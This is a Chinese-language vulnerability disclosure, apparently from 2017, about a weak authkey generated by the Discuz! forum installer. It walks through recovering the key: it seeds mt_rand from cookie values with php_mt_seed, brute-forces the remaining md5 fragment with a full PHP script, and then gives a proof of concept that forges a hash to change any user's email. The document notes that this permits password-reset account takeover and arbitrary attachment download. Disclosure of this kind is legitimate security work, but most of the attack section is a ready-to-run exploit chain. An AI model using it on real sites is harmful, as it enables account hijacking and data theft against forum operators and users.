- 发布时间:2017-06-02
- 公开时间:N/A
- 漏洞类型:信息泄露
- 危害等级:高
- 漏洞编号:xianzhi-2017-06-98765357
- 测试版本:N/A
漏洞详情
install/include/installfunction.php 598行
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
php版本高于4.2.0就不播种随机数种子,由php自动生成
install/index.php 345行
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'';
$config['memory']['prefix'] = random(6).'';
$authkey由6位md5值加上random(10),6位十六进制字符其实就16^6种组合,还是可以爆破的。
$authkey用的地方超级多,主要还是authcode函数的key和部分验证字段的md5 salt
由于authcode函数比较慢,所以找了一处md5的地方
source/class/helper/helper_seccheck.php 36行
function _create($type, $code = '') {
global $_G;
$ssid = C::t('common_seccheck')->insert(array(
'dateline' => TIMESTAMP,
'code' => $code,
'succeed' => 0,
'verified' => 0,
), true);
dsetcookie('sec'.$type, $ssid.'.'.substr(md5($ssid.$_G['uid'].$_G['authkey']), 8, 18));
}
$_G['authkey']来自 source/class/discuz/discuz_application.php 271行
$this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']);
$this->var['cookie']['saltkey'] 在cookie中 $ssid在cookie名字中,$_G['uid']未登录状态下是0 所以未知的变量就只有'authkey'了,可以爆破。
测试方法
打开注册页面 记录几个cookie值
cookie_pre = 'EKvD'
saltkey = 'mZ8Y4i53';
seccode='9.59d540ebd26d4744ec'
有这些就足够了 先用脚本生成php_mt_seed的参数
$str = 'EKvD';
$key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<10;$i++){
echo "0 0 0 0 ";
}
for($i=0;$i<strlen($str);$i++){
$pos = strpos($key,$str[$i]);
echo $pos." ".$pos." 0 61 ";
}
#./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 4 0 61 10 10 0 61 57 57 0 61 3 3 0 61 >1.txt
#cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt
然后用脚本爆破authkey
<?php
$seeds_file = file_get_contents('seeds.txt');
$seeds = explode("\n",$seeds_file);
for($i=0;$i<count($seeds);$i++){
mt_srand(intval($seeds[$i]));
$auth_key = random(10);
$tmp = random(4);
if($tmp == 'EKvD'){
echo "=====================================\n";
echo "seed:".intval($seeds[$i])."\n";
echo "key:".$auth_key."\n";
check($auth_key);
}
}
function check($key){
$saltkey = 'mZ8Y4i53';
for($i=0;$i<16777215;$i++){
if($i%1000000==0){
echo ".";
}
if(substr(md5('90'.md5(pad($i).$key.$saltkey)),8,18)=='59d540ebd26d4744ec'){
//90=ssid.$_G['uid'] ssid来自seccode 9 uid是0
echo "\nFound key:".pad($i).$key;
die();
}
}
echo "\n";
}
function pad($i){
$h = dechex($i);
$h = strlen($h)==6?$h:str_repeat('0',6-strlen($h)).$h;
return $h;
}
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
php跑这个略慢 不过反正是MD5 大不了GPU跑起 经过一段时间等待之后 结果出来了
拿到这个authkey能干嘛还没仔细翻,反正authcode加解密函数相关的都能搞,这里有个简单的修改任意用户邮箱做演示
source/include/misc/misc_emailcheck.php
$uid = 0;
$email = '';
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
if($_GET['hash']) {
list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
$uid = intval($uid);
}
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
$member = getuserbyuid($uid);
$setarr = array('email'=>$email, 'emailstatus'=>'1');
if($_G['member']['freeze'] == 2) {
$setarr['freeze'] = 0;
}
loaducenter();
$ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
uid email 都来自hash 这里并没有验证用户的身份就直接uc_user_edit修改了用户的email
poc:
$authkey = '1ced03UvQ3XfqWvT';
$str = "1\tfuck@fuck.com\t111111111111111"; //修改uid为1的账号邮箱为fuck@fuck.com
$hash = urlencode(authcode($str,'ENCODE',md5(substr(md5($authkey), 0, 16))));
echo $hash;
看下数据库
修改email有什么用呢,这可是可以找回密码的噢。除了管理员 超版(adminid=1or2 )其他的像版主都可以直接找回。
类似authkey利用还有很多 比如任意附件下载
$authk = !$requestmode ? substr(md5($aid.md5($_G['config']['security']['authkey']).$t.$_GET['uid']), 0, 8) : md5($aid.md5($_G['config']['security']['authkey']).$t);
if($k != $authk) {
if(!$requestmode) {
showmessage('attachment_nonexistence');
} else {
exit;
}
}